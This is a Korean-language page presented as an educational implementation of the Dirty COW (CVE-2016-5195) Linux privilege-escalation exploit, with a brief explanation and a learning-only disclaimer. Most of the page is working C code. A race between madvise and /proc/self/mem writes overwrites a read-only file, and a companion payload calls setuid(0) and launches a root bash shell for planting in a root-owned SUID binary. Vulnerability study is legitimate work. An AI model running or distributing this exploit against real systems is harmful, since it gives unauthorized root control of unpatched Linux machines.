
교육용으로 구현된 Dirty COW(CVE-2016-5195) 권한 상승 익스플로잇으로, 레이스 컨디션 페이로드와 Linux 시스템용 SUID 기반 루트 셸 권한 상승을 포함합니다.
기록은 학습 목적으로만 사용하며, 불법적인 용도로 사용하는 것을 금지합니다
이 취약점의 원리는 동시성(Concurrency)을 이용해 더티 페이지(Dirty Page)를 플러시(Flush)하여, 원래 읽기 전용 권한인 파일의 내용이 변경되도록 하는 것입니다
만약 수정된 파일이 root 소유이고 SUID 권한을 가지고 있다면, 이를 이용해 권한 상승(Privilege Escalation)을 수행할 수 있습니다
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// 파일에서 읽은 Payload 내용과 크기를 저장하는 데 사용
char *payload_buf;
size_t payload_size;
// 스레드 B: madvise를 반복 호출하여 커널에 해당 메모리 페이지를 버리라고 지시
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] madvise 스레드 종료\n");
return NULL;
}
// 스레드 A: /proc/self/mem을 통해 읽기 전용 매핑 영역에 데이터를 지속적으로 기록
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// 메모리의 Payload 버퍼를 기록
c += write(f, payload_buf, payload_size);
}
printf("[-] /proc/self/mem 스레드 종료\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("사용법: %s <읽기 전용 대상 파일> <Payload 입력 파일>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Payload 파일을 열고 내용을 메모리로 읽어옴
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Payload 파일 열기 실패");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Payload 파일이 비어 있습니다\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Payload 파일 읽기 실패");
return 1;
}
close(pf);
printf("[*] Payload 파일 로드 성공: %s (크기: %zu 바이트)\n", payload_file, payload_size);
// 대상 파일 매핑
f = open(name, O_RDONLY);
if (f < 0) {
perror("대상 파일 열기 실패");
return 1;
}
fstat(f, &st);
// Payload 길이가 대상 파일 길이보다 크지 않도록 방지
if (payload_size > st.st_size) {
printf("[!] 경고: Payload 크기 (%zu)가 대상 파일 크기 (%zu)보다 큽니다.\n", payload_size, st.st_size);
printf("[!] Dirty COW의 제자리 덮어쓰기 특성상, 대상 파일 크기를 초과하는 부분은 파일 시스템에 의해 잘려서 버려집니다!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] 대상 파일 매핑 주소: %p\n", map);
// 조건 경쟁(Race Condition) 시작
pthread_t pth1, pth2;
printf("[*] 조건 경쟁(Race Condition) 시작...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] 경쟁 종료, %s의 내용을 확인하세요.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// root 신분 복원
setuid(0);
setgid(0);
// root bash 실행
execl("/bin/bash", "bash", NULL);
return 0;
}